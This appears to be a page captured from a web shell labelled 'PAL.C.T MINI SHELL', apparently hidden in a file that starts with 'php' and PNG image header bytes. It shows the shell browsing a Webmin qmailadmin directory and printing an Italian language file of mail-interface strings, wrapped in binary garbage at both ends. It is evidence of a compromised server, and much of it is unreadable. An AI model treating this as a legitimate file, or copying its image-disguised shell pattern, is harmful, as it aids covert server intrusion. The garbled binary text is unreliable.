php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/qmailadmin/lang/
upload
files >> //usr/libexec/webmin/qmailadmin/lang/it.auto

aliases_delete=Elimina alias selezionati

adelete_err=Impossibile eliminare gli alias
adelete_enone=Nessuno selezionato

routes_delete=Elimina percorsi di dominio selezionati

rdelete_err=Impossibile eliminare le route di dominio

virts_delete=Elimina mappature virtuali selezionate

vdelete_err=Impossibile eliminare i mapping virtuali

log_delete_aliases=Alias $1 eliminati
log_delete_virts=Mapping virtuali $1 eliminati
log_delete_routes=$1 percorsi eliminati
log_delete_assigns=$1 utenti di posta eliminati
log_delmail=Eliminati $1 messaggi da $2 
log_movemail=Spostato $1 messaggi da $2 a $3 
log_send=Posta inviata a $1 

rfile_desc2=Puoi anche impostare intestazioni di posta che aggiungono o sostituiscono i valori predefiniti utilizzati nell'autoreply inserendo righe come: <br><tt> Da: foo@bar.com </tt><br> <tt>Oggetto: In vacanza</tt> <br> nella parte superiore del messaggio, separato dal corpo da un'unica riga vuota.
rfile_replies=Tieni traccia delle risposte per evitare loop di posta?
rfile_none=No
rfile_file=Sì, utilizzando il file di registro
rfile_period=Intervallo minimo tra le risposte
rfile_default=Predefinito (1 ora)
rfile_secs=secondi
rfile_ereplies=File di registro di tracciamento delle risposte mancante
rfile_eperiod=Numero di secondi mancante o non valido tra le risposte
rfile_no_autoreply=Non inviare autoreplies a
rfile_from=Da: indirizzo per la risposta
rfile_auto=Automatico (basato sull'indirizzo del destinatario)
rfile_efrom=Mancante da: indirizzo
rfile_fromdesc=Un indirizzo Da: deve essere sempre specificato ove possibile, poiché il metodo automatico potrebbe non essere affidabile.

queue_count=$1 messaggi
queue_delete=Elimina i messaggi selezionati
queue_all=Seleziona tutto
queue_invert=Inverti selezione
queue_refresh=Aggiorna coda di posta
queue_refreshdesc=Ricarica questa pagina per mostrare lo stato corrente della coda di posta.

qview_title=Messaggio in coda
qview_desc=Dal file $1 
qview_headers=Intestazioni di posta
qview_attach=allegati

assigns_delete=Elimina gli utenti di posta selezionati

sdelete_err=Impossibile eliminare gli utenti di posta

delete_ebogus=Nome file coda non valido

boxes_user=Utente
boxes_size=Dimensione della cassetta postale
boxes_none=Nessuna posta
boxes_return=caselle di posta
boxes_sent=Posta inviata
boxes_ecannot=Non ti è permesso leggere l'email
boxes_toomany=Esistono troppi utenti sul sistema per elencare tutte le loro cassette postali.
boxes_go=Visualizza la posta per l'utente:

mail_title=Email dell'utente
mail_from=A partire dal
mail_date=Data
mail_subject=Soggetto
mail_to=Per
mail_cc=cc
mail_bcc=bcc
mail_pri=Priorità
mail_highest=Più alta
mail_high=alto
mail_normal=Normale
mail_low=Basso
mail_lowest=minore
mail_for=In 1
mail_for2=Per l'utente $1 
mail_sent=Nella lista di posta inviata
mail_size=Taglia
mail_delete=Elimina
mail_compose=Comporre
mail_return=cassetta postale dell'utente
mail_pos=Messaggi da $1 a $2 di $3 
mail_none=Questa cassetta postale non ha messaggi
mail_ecannot=Non ti è consentito leggere l'email di questo utente
mail_all=Seleziona tutto
mail_invert=Inverti selezione
mail_search=Trova messaggi dove
mail_body=Corpo
mail_match=fiammiferi
mail_ok=Ricerca
mail_nonefrom=Nessuna
mail_mark=Segna come:
mail_mark0=Non letto
mail_mark1=Leggere
mail_mark2=Speciale
mail_forward=Inoltrare
mail_rfc=Dalla linea
mail_move=Sposta in:
mail_eexists=Il messaggio non esiste più!

view_desc2=Messaggio $1 per l'utente $2 
view_desc3=Messaggio $1 
view_sent=Messaggio $1 nella lista di posta inviata
view_qdesc=Messaggio in coda $1 
view_allheaders=Visualizza tutte le intestazioni
view_noheaders=Visualizza le intestazioni di base
view_reply=rispondere
view_reply2=Rispondi a tutti
view_enew=Modifica come nuovo
view_forward=Inoltrare
view_delete=Elimina
view_strip=Rimuovi allegati
view_ecannot=Non ti è consentito leggere l'email di questo utente
view_mark=Segna il messaggio come:
view_mark0=Non letto
view_mark1=Leggere
view_mark2=Speciale
view_return=email originale
view_sub=Email allegata

compose_title=Componi email
reply_title=Rispondi a e-mail
forward_title=Inoltra email
enew_title=Modifica email
reply_headers=Intestazioni di posta
reply_attach=Allegati inoltrati
reply_mailforward=Messaggi inoltrati
reply_attach2=Allegati lato client e server
reply_send=Inviare una mail
reply_ecannot=Non sei autorizzato a inviare posta come questo utente

send_err=Impossibile inviare la posta
send_eto=Indirizzo mancante
send_efrom=Indirizzo mancante
send_title=Posta inviata
send_ok=Posta inviata correttamente a $1 
send_ecannot=Non sei autorizzato a inviare posta come questo utente
send_esmtp=Comando SMTP $1 non riuscito : $2 
send_efile=Il file allegato $1 non esiste
send_eattach=Gli allegati non possono avere dimensioni superiori a $1 kB.
send_eperms=L'utente $1 non può leggere $2 
send_eperms2=Non puoi inviare il file $1 
send_epath=L'eseguibile di Sendmail $1 non esiste.

delete_title=Elimina posta
delete_rusure=Sei sicuro di voler eliminare i messaggi $1 selezionati da $2 ? Questo potrebbe richiedere del tempo per un file di posta di grandi dimensioni. Fino al termine dell'eliminazione, non è necessario eseguire altre azioni.
delete_rusure2=Sei sicuro di voler eliminare questo messaggio da $1 ? Questo potrebbe richiedere del tempo per un file di posta di grandi dimensioni. Fino al termine dell'eliminazione, non è necessario eseguire altre azioni.
delete_ok=Cancella ora
delete_ecannot=Ora sei autorizzato a eliminare la posta da questo utente
delete_enone=Nessuna posta selezionata per l'eliminazione
delete_emnone=Nessuna posta selezionata per contrassegnare
delete_nobutton=Nessun pulsante selezionato

search_title=risultati di ricerca
search_ecannot=Non è consentito eseguire ricerche nell'email di questo utente
search_ematch=Devi inserire il testo da abbinare.
search_efield=Devi selezionare un tipo di ricerca.
search_none=Nessun messaggio trovato.
search_results2=$1 messaggi di posta corrispondenti a $2 ..
search_results3=$1 messaggi di posta non corrispondenti a $2 ..

match_from=Da: partite
match_subject=Oggetto: partite
match_to=A: partite
match_cc=Cc: partite
match_date=Data: partite
match_body=Corrispondenze del corpo
match_size=La dimensione è maggiore di
match_headers=Le intestazioni corrispondono
match_=-----------------
match_!from=Da: non corrisponde
match_!subject=Oggetto: non corrisponde
match_!to=A: non corrisponde
match_!cc=Cc: non corrisponde
match_!date=Data: non corrisponde
match_!body=Il corpo non corrisponde
match_!size=La dimensione è inferiore a
match_!headers=Le intestazioni non corrispondono

delq_titles=Eliminazione di messaggi
delq_rusure=Sei sicuro di voler eliminare i $1 messaggi in coda selezionati?
delq_confirm=Elimina messaggi
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`